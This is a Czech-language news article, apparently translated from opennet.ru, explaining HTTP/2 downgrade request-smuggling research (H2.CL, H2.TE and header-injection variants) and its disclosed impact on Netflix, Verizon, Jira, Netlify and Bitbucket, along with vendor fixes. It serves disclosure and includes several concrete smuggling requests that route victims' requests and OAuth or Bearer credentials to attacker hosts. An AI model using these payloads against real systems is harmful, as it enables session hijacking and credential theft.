Webové systémy, ve kterých frontend přijímá spojení přes HTTP/2 a předává je backendu přes HTTP/1.1, se staly zranitelnými vůči novému variantu útoku „HTTP Request Smuggling“. Ten umožňuje vkládat se do obsahu požadavků jiných uživatelů, které jsou zpracovávány ve stejném toku mezi front-endem a back-endem, prostřednictvím odesílání speciálně formátovaných klientských požadavků. Útok může být použit k vložení škodlivého JavaScriptového kódu do relace s legitimním webem, obcházení systémů přístupových omezení a zachycení autentizačních parametrů.
Problému čelí webové proxy servery, vyvažovače zátěže, webové akcelerátory, systémy doručování obsahu a další konfigurace, ve kterých jsou požadavky přesměrovány podle schématu front-end-back-end. Autor studie demonstroval možnost útoku na systémy Netflix, Verizon, Bitbucket, Netlify CDN a Atlassian a získal 56 tisíc dolarů v programech za odměny za odhalení zranitelností. Přítomnost problému byla také potvrzena v produktech F5 Networks. Částečně se problém dotýká mod_proxy v http serveru Apache (CVE-2021-33193), opravy se očekávají ve verzi 2.4.49 (vývojáři byli o problému informováni na začátku května a měli 3 měsíce na nápravu). V nginx byla možnost současného zadání hlaviček „Content-Length“ a „Transfer-Encoding“ zablokována v posledním vydání (1.21.1). Nástroje pro provádění útoků již byly přidány do nástroje Burp a jsou dostupné ve formě rozšíření Turbo Intruder.
Princip fungování nové metody vkládání požadavků do provozu je podobný zranitelnosti, kterou stejný výzkumník identifikoval před dvěma lety, ale omezujícím se na frontendy přijímající požadavky přes HTTP/1.1. Připomeňme, že ve schématu front-end-back-end přijímá požadavky klientů dodatečný uzel – frontend, který vytváří dlouhodobé TCP spojení s backendem, který provádí přímé zpracování požadavků. Skrze toto společné spojení jsou obvykle předávány požadavky různých uživatelů, které následují řetězcem jeden za druhým s oddělením pomocí protokolu HTTP.
Klasický útok „HTTP Request Smuggling“ vychází z toho, že frontend a backend různě interpretují použití HTTP hlaviček „Content-Length“ (určuje celkovou velikost dat v požadavku) a „Transfer-Encoding: chunked“ (umožňuje přenášet data po částech). Například, pokud frontend podporuje pouze „Content-Length“, ale ignoruje „Transfer-Encoding: chunked“, útočník může odeslat požadavek, v němž jsou současně uvedeny hlavičky „Content-Length“ a „Transfer-Encoding: chunked“, ale velikost v „Content-Length“ neodpovídá velikosti chunked-řetězce. V takovém případě frontend zpracuje a přesměruje požadavek podle „Content-Length“, zatímco backend bude očekávat dokončení bloku na základě „Transfer-Encoding: chunked“ a zbývající část požadavku útočníka skončí na začátku cizího požadavku, který za ním následuje.
Na rozdíl od textového protokolu HTTP/1.1, jehož analýza se provádí na úrovni řetězců, je HTTP/2 binární protokol, který manipuluje s bloky dat předem určené velikosti. V HTTP/2 se používají pseudohlavičky, které odpovídají běžným hlavičkám HTTP. Při interakci s backendem prostřednictvím protokolu HTTP/1.1 frontend překládá tyto pseudohlavičky na podobné HTTP hlavičky HTTP/1.1. Problém je v tom, že backend rozhoduje o analýze toku již na základě vystavených frontendem HTTP hlaviček, aniž by měl informace o parametrech původního požadavku.
Včetně formy pseudohlaviček mohou být předány hodnoty „content-length“ a „transfer-encoding“, ačkoli v HTTP/2 se nepoužívají, protože velikost všech dat je určena v samostatném poli. Nicméně, během procesu konverze požadavku HTTP/2 na HTTP/1.1 jsou tyto hlavičky přeneseny a mohou zmást backend. Existují dva hlavní varianty útoku: H2.TE a H2.CL, při nichž je backend uveden v omyl nesprávnou hodnotou transfer-encoding nebo content-length, která neodpovídá skutečné velikosti těla požadavku přijatého na frontendu prostřednictvím protokolu HTTP/2.
Jako příklad útoku H2.CL je uvedeno neoprávněné uvedení velikosti v pseudo-záhlaví content-length při odesílání žádosti HTTP/2 k Netflixu. Tato žádost vede k přidání obdobného HTTP záhlaví Content-Length při komunikaci s backendem přes HTTP/1.1, ale protože velikost v Content-Length je uvedena menší než skutečná, část dat na konci se zpracovává jako začátek další žádosti.
Například žádost HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Způsobí odeslání žádosti backendu: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Protože Content-Length má hodnotu 4, backend přijme jako tělo žádosti pouze „abcd“, zatímco zbývající část „GET /n HTTP/1.1…“ zpracovává jako začátek následující žádosti, která patří jinému uživateli. V důsledku toho dojde k rozladění toku a v odpovědi na následnou žádost bude vrácen výsledek zpracování podvržené žádosti. V případě Netflixu vedlo uvedení cizího hostitele v záhlaví „Host:“ v podvržené žádosti k zobrazení klientovi odpovědi „Location: https://02.rs?x.netflix.com/n“ a umožnilo předat klientovi libovolný obsah, včetně spuštění vlastního JavaScriptu v kontextu stránky Netflix.
Druhá varianta útoku (H2.TE) souvisí s vkládáním záhlaví „Transfer-Encoding: chunked“. Použití pseudo-záhlaví transfer-encoding v HTTP/2 je zakázáno specifikací a žádosti s ním by měly být považovány za neplatné. Nicméně, některé implementace frontendů toto požadavek ignorují a umožňují používání pseudo-záhlaví transfer-encoding v HTTP/2, které je převedeno na obdobné HTTP záhlaví. Při přítomnosti záhlaví „Transfer-Encoding“ může backend považovat za prioritnější a provést analýzu dat po částech v režimu „chunked“ s použitím bloků různých velikostí ve formátu „{velikost}\r\n{blok}\r\n{velikost}\r\n{blok}\r\n0“, ačkoliv bylo původně rozděleno podle celkové velikosti.
Existence takovéto chyby byla demonstrována na příkladu společnosti Verizon. Tato problém se týkal autentizačního portálu a systému správy obsahu, který se také používá na takových stránkách jako Huffington Post a Engadget. Například žádost klienta pomocí HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="
Vedlo k odeslání HTTP/1.1 požadavku backendu: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="
Backend na druhou stranu ignoroval hlavičku "Content-Length" a prováděl dělení v toku na základě "Transfer-Encoding: chunked". V praxi útok umožnil přesměrovat uživatelské požadavky na svou stránku a také zachytit požadavky související s autentizací OAuth, jejichž parametry byly zobrazeny v hlavičce Referer, a také simulovat autentizační relaci a iniciovat odeslání uživatelských přihlašovacích údajů na hostitele útočníka. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Pro útok na implementace HTTP/2, které neumožňují specifikaci pseudo-hlavičky transfer-encoding, byla navržena další metoda související s nahrazením hlavičky "Transfer-Encoding" jejím připojením k jiným pseudo-hlavičkám odděleným znakem nového řádku (při převodu na HTTP/1.1 v takovém případě vznikají dva samostatné HTTP-hlavičky).
Například uvedené problémy byly náchylné na Atlassian Jira a Netlify CDN (používá se k vydání úvodní stránky Mozilla ve Firefoxu). Konkrétně požadavek HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x="
vedlo k odeslání HTTP/1.1 požadavku backendu POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x="
Další variantou nahrazení hlavičky "Transfer-Encoding" bylo její připojení k názvu jiné pseudo-hlavičky nebo k řetězci s metodou požadavku. Například při přístupu k Atlassian Jira vedlo jméno pseudo-hlavičky "foo: bar\r\ntransfer-encoding" s hodnotou "chunked" k přidání HTTP-hlaviček "foo: bar" a "transfer-encoding: chunked", a specifikace v pseudo-hlavičce ":method" hodnoty "GET / HTTP/1.1\r\nTransfer-encoding: chunked" byla přeložena na "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Výzkumník, který problém odhalil, také navrhl techniku tunelování požadavků pro provedení útoku na frontendy, ve kterých pro každého IP adres vytváří se samostatné spojení s backendem a provoz různých uživatelů se nesmíchá. Navržená technika neumožňuje zasahování do požadavků jiných uživatelů, ale dává možnost otrávit společnou cache, která ovlivňuje zpracování dalších požadavků, a umožňuje provádět substituci interních HTTP hlaviček, které se používají k přenosu servisních informací z frontendové části na backend (například při ověřování na straně frontendu mohou být do těchto hlaviček na backendu předávány informace o aktuálním uživateli). Příkladem praktického použití metody pomocí otravy cache bylo získání kontroly nad stránkami ve službě Bitbucket.
Zdroj: opennet.ru
